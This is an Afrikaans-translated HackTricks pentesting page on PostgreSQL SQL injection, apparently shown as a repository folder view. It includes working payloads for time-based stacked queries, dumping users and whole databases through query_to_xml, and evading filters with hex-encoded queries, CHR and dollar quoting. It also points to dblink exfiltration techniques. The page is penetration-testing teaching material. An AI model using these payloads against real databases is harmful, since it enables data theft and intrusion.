hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-02-11 02:07:06 +00:00
..
big-binary-files-upload-postgresql.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
dblink-lo_import-data-exfiltration.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
pl-pgsql-password-bruteforce.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
rce-with-postgresql-extensions.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
rce-with-postgresql-languages.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

PostgreSQL inspuiting

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty-platform wat deur hackers geskep is, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks, en begin om belonings te verdien tot $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}


Hierdie bladsy poog om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting in 'n postgresql-databasis uit te buit en om die truuks aan te vul wat jy op https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md kan vind

Netwerkinteraksie - Privilege Escalation, Port Scanner, NTLM-uitdaging-responslekkering & Uitlekking

Die PostgreSQL-module dblink bied die vermoë om na ander PostgreSQL-instanties te verbind en TCP-verbindings uit te voer. Hierdie funksies, gekombineer met die COPY FROM-funksionaliteit, maak aksies soos privilege-escalatie, poortskenning en die vaslegging van NTLM-uitdaging-respons moontlik. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk na hoe om hierdie aanvalle uit te voer.

Jy kan hierdie voorbeeld lees om 'n CTF-voorbeeld te sien van hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam van die funksie dblink_connect uit te lek.

PostgreSQL-aanvalle: Lees/skryf, RCE, privesc

Kyk hoe om die gasheer te kompromitteer en voorregte vanaf PostgreSQL te verhoog in:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF-omseiling

PostgreSQL-stringfunksies

Deur strings te manipuleer, kan jy help om WAFs of ander beperkings te omseil.
Op hierdie bladsy kan jy 'n paar nuttige stringfunksies vind.

Gestapelde navrae

Onthou dat postgresql gestapelde navrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggegee word wanneer slegs 1 verwag word. Maar, jy kan steeds die gestapelde navrae misbruik deur middel van tydinspuiting:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML-truuks

query_to_xml

Hierdie funksie sal al die data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy baie data in net 1 ry wil aflaai:

SELECT query_to_xml('select * from pg_user',true,true,'');

databasis_naar_xml

Hierdie funksie sal die hele databasis in XML-formaat aflaai in net 1 ry (wees versigtig as die databasis baie groot is, want dit kan dit DoS of selfs jou eie kliënt veroorsaak):

SELECT database_to_xml(true,true,'');

Strings in Hex

As jy navrae kan uitvoer deur hulle binne 'n string te stuur (byvoorbeeld deur die query_to_xml-funksie te gebruik), kan jy die convert_from-funksie gebruik om die string as heks oor te dra en sodoende filters te omseil:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Verbode aanhalingstekens

As jy nie aanhalingstekens kan gebruik vir jou payload nie, kan jy dit omseil met CHR vir basiese klousules (karakterkonkatenasie werk slegs vir basiese navrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-stellings nie):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Of met $. Hierdie navrae lewer dieselfde resultate op:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;


Foutjagtip: teken aan vir Intigriti, 'n premium foutjagplatform geskep deur hackers, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks, en begin om belonings tot $100,000 te verdien!

{% embed url="https://go.intigriti.com/hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: